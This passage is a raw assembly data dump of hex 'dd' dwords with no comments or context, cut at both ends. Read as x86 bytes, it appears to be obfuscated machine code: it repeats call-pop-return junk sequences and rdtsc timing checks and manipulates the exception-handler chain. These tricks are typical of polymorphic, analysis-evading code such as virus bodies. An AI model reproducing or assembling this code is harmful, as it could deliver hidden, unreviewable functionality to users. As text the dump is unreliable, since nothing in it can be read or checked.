4245C89h, 4244481h, 17h, 0FCC35343h, 8A3CD67Ch dd 0B9BD8BFDh, 83062B0Ch, 2B0A01BDh, 850F0106h, 9Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0F1C35141h, 474AC343h dd 9D897633h, 62B2A31h, 6A026Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0FD2D7C3h, 5350F9BFh dd 8E860h, 14B80000h, 9DEE097Bh, 505A3AECh, 5A310F52h dd 895B6158h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0A0AE7BC3h, 78F6BFAEh, 89E040D6h dd 2B0BC98Dh, 0E195FF06h, 0F062B05h, 1DB3FBBFh, 0D82E9h dd 0E800h, 815D0000h, 2F651EEDh, 0D3816606h, 890FE2C6h dd 11h, 0CE9h, 6F789500h, 8A484CF1h, 80EEE2F5h, 3A858D73h dd 6A062E99h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0C7CC352h, 0F205D42h, 1382h, 0EE900h dd 0BD400000h, 0BA37C50Bh, 0FFE48BD7h, 7F3B5A04h, 0BE850h dd 0ED4B0000h, 2EFC7306h, 36129DECh, 8F0F567Fh, 0 dd 4895B5Bh, 0F8B70F24h, 35FF64h, 8B000000h, 2B1C3D9Dh dd 25896406h, 0 dd 0A9958956h, 5B062B0Fh, 1E0D85FFh, 82B3062Bh, 6AFF6Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 9F17F4C3h, 454BAE74h, 0FD6B885h, 886h, 2870F00h, 60000000h dd 25B5FF61h, 6A062B0Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 1F7FC353h, 89EFE5DFh dd 2B0AE185h, 0A995FF06h, 0E9062B11h, 116h, 0D98D89h, 0B0062Bh dd 68F0Fh, 0E3810000h, 129E816Dh, 0D999589h, 70E6062Bh dd 11F18D29h, 71E4062Bh, 11D5BD8Bh, 613C062Bh, 0E4830Fh dd 81660000h, 0F53D4F7h, 8166C8B6h, 0BAC2B2C7h, 6, 1241BD33h dd 0C18B062Bh, 16D9D8Bh, 0E8C1062Bh, 13E804h, 96960000h dd 1151283Eh, 0D8A028D7h, 4C705737h, 51AD5439h, 31B5893Ch dd 5F062B33h, 22ED37BFh, 0E2F76671h, 55BD8B60h, 8A062B34h dd 0C82B61F7h, 19BA6660h, 99BD8999h, 61062B1Ah, 5E9D18Bh dd 60000000h, 6141F780h, 2F25858Bh, 8F0F062Bh, 6, 0D49BD33h dd 0C083062Bh, 0D858907h, 83062B20h, 8D0F00C0h, 3, 3BDFB70Fh dd 11830FD0h, 89000000h, 2B28D59Dh, 3CE906h, 95890000h dd 62B1581h, 0AA18D8Bh, 8166062Bh, 8372EDCFh, 840F01E1h dd 22h, 1D9BD8Bh, 0A583062Bh, 62B0AA1h, 0FBBF0FFEh, 9589DA8Bh dd 62B2F25h, 26DB8166h, 0E9CEh, 0B58D0000h, 62EDBF8h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 89C35646h, 0DAB70F82h dd 0DE9h, 642B7A00h, 685121ADh, 0A41A8445h, 6A8795h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 9BC35141h, 0F7693E5h dd 28Fh, 0FFDD8A00h, 2B294595h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 6A3BC7B4h dd 815EB7F2h, 8E54B0EBh, 0B9FB8B6Ah, 0CB4h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C6C35242h, 44AFFD0Dh dd 0E90B4F2Dh, 8, 0D53475BFh, 0D4FABA70h, 6AFCE183h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0D403C353h, 8FED0A49h, 17E19D8Bh, 8A50062Bh, 8BFC5BF8h dd 2B07D1BDh, 0EDBD8906h, 0B8062B2Ch, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 5CC35747h dd 26410D42h, 0F75F3FEBh, 0F98D898Ah, 81062B34h, 0BBBEF8EFh dd 6AD22B2Eh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 515BC357h, 0C233AD42h, 0D003E8D1h dd 7504E983h, 6ADA8BF4h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0F120C352h, 0DB81095Fh dd 6B0AB17h, 880Dh, 10E900h, 4500000h, 9B945615h, 81AA09Ah dd 54DCF61h, 958B088Fh, 62B0EE1h, 15D1BD8Bh, 8D8B062Bh dd 62B21E1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0AFC35040h, 89D9DD1Ah, 2B11B98Dh, 0C28B5006h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6A537DBBh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 245C351h, 98C502B5h, 6604A58Ah, 0C8E6E381h, 8659589h dd 0BD83062Bh, 62B05A9h, 63840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 2169C352h, 0B8DA8Bh, 29000000h, 2B2E35BDh, 0A18D8D06h dd 33062B4Eh, 2B0A599Dh, 6AE1FF06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C5A7C355h dd 2162AFABh, 645B2B8h, 2FD99D8Bh, 0BD83062Bh, 62B2BE5h dd 0B8840F00h, 8B000003h, 2B20F59Dh, 359D8B06h, 83062B2Dh dd 2B2BE5BDh, 840F0106h, 3BAh, 6DC38166h, 198589B1h, 83062B11h dd 2B2BE5BDh, 860F0306h, 36Ch, 0B98529h, 5660062Bh, 68B0Fh dd 9D8B0000h, 62B06F9h, 0D98C665Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0E5C35545h, 6E8h, 1C3C3B00h dd 535FB17Bh, 2F69BF66h, 0E1805B5Bh, 0FC90A04h, 13B84h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0AB618C5Fh, 8952D72Bh, 2B262DB5h, 0B5858B06h dd 6A062B1Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 6334C356h, 0AFFF75E0h, 6D4DA76h dd 34F9BD29h, 8533062Bh, 62B258Dh, 90F9BF0Fh, 0E9B66053h dd 5B61D18Ah, 90DF8B50h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 26C35040h, 0E740B3A3h, 11E80Bh, 9EBA0000h dd 0BBAAF24Fh, 0F1BED05Ch, 0B5EB44EDh, 0E934E871h, 0Ah dd 0BCB8BBD6h, 9C3FB2DAh, 665B8A5Fh, 6AD98Bh, 2CE58D89h dd 0D968062Bh, 5614ACAAh, 2434815Fh, 14B3A926h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 71C35040h, 892E23E9h dd 0E0A447B5h, 0FFFB8B66h, 2B091D95h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0A6138369h, 6E14BD4Bh, 89DA8B66h, 2B1E199Dh, 0B0858906h dd 0B3062EB5h, 182E98Ah, 0B5890000h, 62B1665h, 0B5A8858Bh dd 0FB8B062Eh, 1800C7h, 0BD8B0000h, 62B071Dh, 0B5ACB58Bh dd 858B062Eh, 62B16C5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0EC35040h, 8BF092B6h, 0D78166DAh, 689E04Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 9DC35141h dd 858B86B3h, 62B1EB5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 1C35242h, 0C6A38BF4h, 85295117h, 62B1755h dd 0F044689h, 68Fh, 3DBD8B00h, 50062B2Eh, 89243489h, 2B3251BDh dd 39BD0306h, 0FF062B17h, 2EB5A8B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0FA071AF9h dd 1E1CF19Fh, 0E9BD8B6Bh, 0FC062B25h, 4E8h, 1F03FF00h dd 30BF6600h, 0FA8B5084h, 424448Bh, 98A4BB51h, 8B5F0488h dd 0FB8B6600h, 4244489h, 1A70EEBBh, 6A586Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 78D046C3h dd 0B6376160h, 870FF8D9h, 5, 0D5DF8166h, 0B0858D8Eh, 89062EB5h dd 2B06D1B5h, 0B7509006h, 816690ACh, 0FF535DC3h, 2B091D95h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0C4C85DDAh, 7ED6FE16h, 0FABF0F61h, 2BE585C7h dd 3062Bh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0E710B5C3h, 0B0BD83FCh, 62EB5h dd 2A840Fh, 95890000h, 62B2589h, 3AE9h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0FA25E2E2h, 110C3050h, 1114400h, 3010E8C1h, 21144h dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 8A1CC357h, 0AE6F4F31h dd 0E1E2868Ch, 5BFB8B56h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 31C35040h, 60ECCB78h, 81B2D18Bh, 0E5BD8361h dd 3062B2Bh, 441850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0B308ECC3h, 0B0BD8317h dd 62EB5h, 415840Fh, 89500000h, 2B11A19Dh, 0B5FF5B06h dd 62EB5B0h, 34D18D89h, 95FF062Bh, 62B0175h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F3C35646h, 265D4089h dd 46973EBFh, 8BD88B6Ch, 2EB5A4B5h, 0F88B6606h, 106C7h dd 8E90001h, 0F4000000h, 2E3603DDh, 50EC34C6h, 14E8h, 8A9C1C00h dd 0DD22B8B1h, 0F4511591h, 184982DBh, 8A4273CCh, 34895F67h dd 6850F24h, 8B000000h, 2B17699Dh, 0B0B5FF06h, 6A062EB5h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 0F84DC353h, 135BD8Bh, 95FF062Bh, 62B1555h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0BDC35747h dd 1593325Ch, 81C0DD0Bh, 892FB1F3h, 0A4B58B28h, 3062EB5h dd 2B3031BDh, 0D9858B06h, 0F062B1Ah, 686h, 0AD9D8900h dd 89062B15h, 0C486h, 13E900h, 3B8F0000h, 5234BC52h, 515BF8EFh dd 95A8B042h, 534581E3h, 0E1958BB9h, 6A062B0Eh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0A5DDC356h, 8B488ADDh, 2B1E599Dh, 0BD095306h, 62B2649h dd 4C2835Fh, 2AF59D8Bh, 5089062Bh, 0D88B6620h, 0CA4E858Dh dd 0FE9062Eh, 0BE000000h, 4E9AE16Bh, 638A266Eh, 0AB359F5Eh dd 86892DBFh, 0B8h, 1E2D9D89h, 6A062Bh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 73C35545h, 0ABDDCCE2h dd 0B5FFE7A7h, 62EB5B0h, 2F218501h, 95FF062Bh, 62B05E1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 45C35040h dd 6F2C925Ah, 0B32A23C5h, 9FB96096h, 61531834h, 0E9525050h dd 11h, 8BCA62Ah dd 5A1F5463h, 0D8560184h, 197F269Dh, 8B310F80h, 96585AD9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0D8C35343h dd 9AE53097h, 0BD8946CAh, 62B2951h, 0B5B0B5FFh, 6A062Eh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 3071EDC3h, 6A830A3Fh, 0FFD9BF0Fh, 2B156995h, 0D88B6606h dd 1D9DBD83h, 0F00062Bh, 3B84h, 0FBB70F00h, 89F88A50h dd 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 962F76C3h, 9558589h, 6660062Bh, 858BC18Bh dd 62B1691h, 0DEB70F61h, 0B5B0B5FFh, 6A062Eh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8B6663C3h dd 1195FFDAh, 6A062B2Eh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 71A7C351h, 1BA98D89h dd 0B5FF062Bh, 62EB5B0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 5DC35747h, 4E5B298h, 95FF3EB7h, 62B240Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0DEC35343h dd 831D261Bh, 2B2E29BDh, 840F0206h, 64h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 85C35242h, 394BC2ECh dd 31BD8B89h, 0F062B06h, 386h, 0F88B6600h, 2B39858Bh, 8E0F062Bh dd 5, 0F9BF0F53h, 0C65Fh, 188C0F52h, 0E9000000h, 13h, 6503BACBh dd 40884A9Ah, 0E7641522h, 8F4A7B3Fh, 5FCF8787h, 92585C7h dd 62Bh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 5E9923C3h, 0FE95EF5h, 9A000000h dd 0C53706E9h, 14ED81BBh, 698B8A5Eh, 0D98B72FBh, 13E8h dd 354A5900h, 0CCED0968h, 0C76190B6h, 0FA43F29Eh, 0A77E27A3h dd 1CD58D89h, 0E95F062Bh, 0FFFFF350h, 0C18BD5B3h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C5C35242h, 0AD9531F1h dd 8D062B1Ch, 2B2FC185h, 0DA8B6606h, 11E850h, 0CFBD0000h dd 554E2349h, 0A34FB501h, 50342A6Ah, 0F2DACB7h, 287h, 5B5B5300h dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 45F3C357h, 0DAD4BEBDh, 644759BBh dd 6A006A63h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0B7D8C356h, 0EBF4A124h, 8BBCD7C5h dd 2B19819Dh, 6A006A06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 9959C350h, 858D11C4h dd 62F74ACh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 72C35040h, 50588A4Dh, 461EBF66h, 0DABF0F5Fh, 8905C083h dd 2B1F11B5h, 0BF665006h, 489A165h, 9E924h, 731E0000h dd 70186DF4h, 6A6D2527h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 40B1A247h, 6D1D20F5h dd 820F89A7h, 4, 1E08BF66h, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0BD9A76C3h dd 1DAC476Dh, 0FFDBFF81h, 2B34E195h, 499D2B06h, 8D062B1Fh dd 2EA6AA8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0D1FFC838h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 1FC35747h, 5E176D8Dh, 0E229582Bh dd 5B52521Ah, 1BD835Fh, 1062B0Ah, 66850Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 816AC8C3h, 6D9D890Eh, 6A062B18h, 56006A02h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 4732E6Dh, 9BA590Eh dd 2B2AF595h, 0C98D8906h, 50062B15h, 60DEBB66h, 0F240489h dd 95FFFEB7h, 62B05E1h, 0D03E9h, 0E800h, 815D0000h, 2F74B6EDh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 57798034h, 1D5B501h, 8D5B062Bh, 2E993A85h dd 5D9D8B06h, 50062B33h, 803FD9BBh, 2404890Bh, 2715B501h dd 0FF64062Bh, 35h, 0DBB5600h, 5F64AF0Bh, 258964h, 80000000h dd 85FF9AE3h, 62B1E0Dh, 1F219D03h, 0FF6A062Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0B3C35141h, 89AE426Fh dd 8CE38152h, 5B4A90C5h, 0A91B5FFh, 0DC8A062Bh, 11A995FFh dd 50E9062Bh, 60000001h, 3CF28166h, 5E81Bh, 0D70D0000h dd 57A84F34h, 0B0615E58h, 89BD8B00h, 0E6062B1Fh, 0D8BF0F70h dd 2969BD89h, 71E4062Bh, 18419589h, 800F062Bh, 6, 2CE18589h dd 613C062Bh, 10D830Fh, 0B60F0000h, 958960C8h, 62B1FA5h dd 15F18D8Bh, 0BA61062Bh, 6, 8589C18Bh, 62B16E9h, 8A04E8C1h dd 0E2F766DCh, 0C8B0Fh, 8B0F0000h, 6, 18E5BD8Bh, 0BD89062Bh dd 62B2765h, 10E9C82Bh, 7B000000h, 0FC0ADE76h, 0C0D54497h dd 0CBAC557Bh, 891D8F40h, 2B32A195h, 8BD18B06h, 2B3055BDh dd 5E906h, 81660000h, 8B5A28E7h, 2B1AFD85h, 4870F06h, 66000000h dd 833F87BBh, 10E907C0h, 0AB000000h, 5C8031B5h, 0ABA0D127h dd 946DA38h, 83AB48C3h, 0BD8B00C0h, 62B0939h, 830FD03Bh dd 12h, 60E98AB7h, 0F000000h, 58Dh, 0DB816600h, 8D8B2533h dd 62B1F59h, 0E183F6B7h, 44840F01h, 60000000h, 0DE9h, 2F158F00h dd 8706B9FFh, 0E52AC544h, 8589750Ch, 62B0055h, 59A58361h dd 0FE062B1Fh, 0C8C0Fh, 840F0000h, 6, 6EDBD89h, 9589062Bh dd 62B1AFDh, 1FA19529h, 0E9062Bh, 8D000000h, 2EEB04B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 72555913h, 8B605659h, 2B29419Dh, 0E8006A06h dd 9, 0B0DB5248h, 0C006A8ABh, 0FF5BFC82h, 2B294595h, 0FFBF0F06h dd 78BB9h, 0FCE18300h, 0BD8BC7B3h, 62B09D1h, 0FB8B66FCh dd 0B8h, 4D958900h, 2B062B0Bh, 0D59D01D2h, 0E9062B1Ch dd 8, 2FFD8D2Fh, 0C5670197h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 1BC35343h dd 507625B6h, 5E9h, 94F67300h, 880DBFFBh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 6696C353h, 8BF5DA8Bh, 2B0EE195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 72580E55h dd 0AECD379Eh, 0AE9h, 26CFF400h, 917E8919h, 8B461F30h dd 2B21E18Dh, 0B59D2B06h, 50062B1Ch, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 0DABF0F58h, 2E3D9589h, 0BF66062Bh dd 0BD8362D2h, 62B05A9h, 2A840F00h, 0B8000000h, 0 dd 8DDEB70Fh, 2B4EA18Dh, 49858906h, 0FF062B12h, 0DE952E1h dd 8F000000h, 0FB5D5FE5h, 73403FC6h, 41CCC676h, 0E5BD835Bh dd 62B2Bh, 527840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 46E6BFC3h, 0A8B0Fh, 5E90000h dd 0DC000000h, 0C4D97E01h, 2BE5BD83h, 0F01062Bh, 50784h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 8CAABB0Ch, 0BD835869h, 62B2BE5h, 0A3860F03h dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 362DC355h, 0BD2366A0h, 6E9h, 4F974D00h dd 601D15F5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0A5C35242h, 0DD951A37h, 7DCE7Ah, 6E9D9h, 9F580000h dd 3D48550Fh, 6AD98C66h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 8007C351h, 0BD8B04E1h dd 62B0EDDh, 840FC90Ah, 1C8h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 0A7C35040h, 0AE21C0FBh, 0E1BD0BAEh dd 81062B15h, 5D7449EFh, 0B5858B64h, 6A062B1Eh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 6610C351h, 0CEDDCB81h, 19A98589h, 8533062Bh, 62B258Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 86C35545h dd 0F8B70F7Fh, 0AE990h, 0DCD70000h, 0F27F799Eh, 97FFED7Ah dd 90DEB350h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 5C35343h, 0EAF16588h, 0FB90901Fh, 6A006Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0D81DBC3h, 4E8FEh, 3FF0000h, 72B7001Fh, 0DA8B6650h dd 424448Bh, 0DC196BBFh, 0E9008B07h, 12h, 7E68E4E6h, 34695A62h dd 0F84D68E9h, 7D66C229h, 448978A8h, 9E80424h, 0C0000000h dd 0A24E86B0h, 80D3D7B2h, 5FD98B66h, 56006A58h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0D99E3C1Dh dd 13E9h, 997DF100h, 9ABE0BE0h, 23972F5h, 20FED821h, 0C36B708Ch dd 91D95FFh, 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 762B7CC3h, 55AB7B0Eh, 894D421Ch dd 2EB5B085h, 0AE906h, 0A5290000h, 3D5D921h, 0E901416Eh dd 0E969CB80h, 223h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 19C35040h, 2F0AC383h, 9D89F45Ah, 62B2F99h dd 0B5A8858Bh, 0F781062Eh, 69BF72E4h, 0C7B9CF80h, 1800h dd 9E900h, 5C960000h, 82A628FDh, 8BC1BD66h, 2EB5ACB5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 1D4FBDBh, 46DC1F06h, 0EE9h, 1487D600h, 3CBAFA88h dd 6A54F06Dh, 8B5456D5h, 2B16C585h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 8D47F43Dh dd 9DD59B25h, 0B589E7C1h, 62B0FF1h, 7E8h, 410C9100h, 7D9F1637h dd 68B0Fh, 0E7810000h, 344E1230h, 0F06895Bh, 28Ah, 8B0FB700h dd 2B1EB585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 8166619Ch, 89B1A0EBh, 6A0446h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 89E569C3h, 0A0136572h, 8934BE9Dh, 2B187D95h, 500FB706h dd 0DA8B5250h, 8B66310Fh, 89585AF8h, 860F2434h, 6, 7C9BD8Bh dd 0B5FF062Bh, 62EB5A8h, 16718D89h, 4E8062Bh, 0FF000000h dd 53001F03h, 505FDE8Bh, 52505057h, 585A310Fh, 448B5F5Bh dd 66500424h, 8B5BDF8Bh, 9E900h, 8C250000h, 0E4D183C7h dd 895AB3DDh, 0E9042444h, 11h, 0D328A058h, 4F2E7163h, 98C6702h dd 659CEDD9h, 6A589Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0A8D2A1C3h, 1D149AA7h, 0B5B0858Dh dd 6A062Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0B57944C3h, 50CEAA37h, 89240489h, 2B16219Dh dd 1D95FF06h, 6A062B09h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 2CC4C355h, 518D89B9h dd 61062B2Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 81C35141h, 0B74F0725h, 0E585C705h, 3062B2Bh, 0B000000h dd 2B1909BDh, 0B0BD8306h, 62EB5h, 14840Fh, 2AE90000h, 0F000000h dd 98Fh, 0DCBA6000h, 8B3A1DC4h, 305061F7h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 67BE4E6Ah dd 0CB02EABFh, 50006A2Eh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0F7460024h, 2313BA3Bh dd 2B0CC1BDh, 0E5BD8306h, 3062B2Bh, 38A850Fh, 83F80000h dd 2EB5B0BDh, 840F0006h, 37Ch, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0D4C35343h, 1225CA73h, 58C5C26Eh dd 0B0B5FFF3h, 6A062EB5h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 4892C351h, 5C51CD80h dd 7595FF06h, 0F062B01h, 58Ah, 0C3816600h, 0B58B3898h dd 62EB5A4h, 18259589h, 6C7062Bh, 10001h, 15CD8D01h, 6650062Bh dd 892BA1BFh, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0F7637C3h, 0B5FFD9BFh, 62EB5B0h dd 101BD8Bh, 8529062Bh, 62B1E75h, 155595FFh, 0BE8062Bh dd 8A000000h, 1D4676F3h, 37A8C223h, 0B70FC227h, 8D0F5FF8h dd 4, 40A6BB66h, 0B5A4B58Bh, 6A062Eh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 0E413E9C3h dd 418589C7h, 89062B0Dh, 2B06898Dh, 0D9858B06h, 8B062B1Ah dd 2B1B7D9Dh, 0C4868906h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 55E7C357h dd 11BD8BF0h, 0F062B1Ch, 0C8Ah, 6830F00h, 8B000000h, 2B16E19Dh dd 0E1958B06h, 6A062B0Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 7FF9C353h, 0C2834B72h dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 205089BEh, 1F699D8Bh, 0BF0F062Bh, 4E858DF9h dd 6A062ECAh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 95A6C351h, 0B88689h, 11E90000h dd 2D000000h, 4473EEE7h, 27214A1h, 0D577E76Ch, 0DC266D1h dd 2BA99D8Bh, 6A062Bh, 8A84C780h, 0B0B5FFD8h, 6A062EB5h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h dd 0E613C356h, 2771B589h, 95FF062Bh, 62B05E1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 73C35646h, 3996ABA6h dd 5096472Eh, 8B96D88Bh, 0B0B5FFD8h, 0B7062EB5h, 6995FF27h dd 0E9062B15h, 11h, 8102D994h, 897B9476h, 2B551838h, 395BE0C9h dd 9DBD83F9h, 62B1Dh, 13840Fh, 9D890000h, 62B11D5h, 5BB5096h dd 960B8659h, 2EF38166h, 0B0B5FF3Ch, 29062EB5h, 2B10A98Dh dd 1195FF06h, 81062B2Eh, 7FBB17CBh, 0B0B5FF60h, 8B062EB5h dd 75B589F9h, 0FF062B24h, 2B240D95h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 4A53800Eh dd 0DE6A8FF7h, 9D8B4F56h, 62B2979h, 8E0A90BBh, 29BD831Eh dd 2062B2Eh, 6E840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 74E8B1C3h, 8BFC3131h dd 2B2B3985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 0CAE5601Ch, 6A0000C6h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0B34FC350h, 0D4F9F24Ch, 93A8CE3Fh, 92585C7h, 62Bh, 11E90000h dd 34000000h, 68866272h, 11B8D620h, 45622B78h, 0F49D46F6h dd 0FFF3ADE9h, 50006AFFh, 3E8h, 0C3582000h, 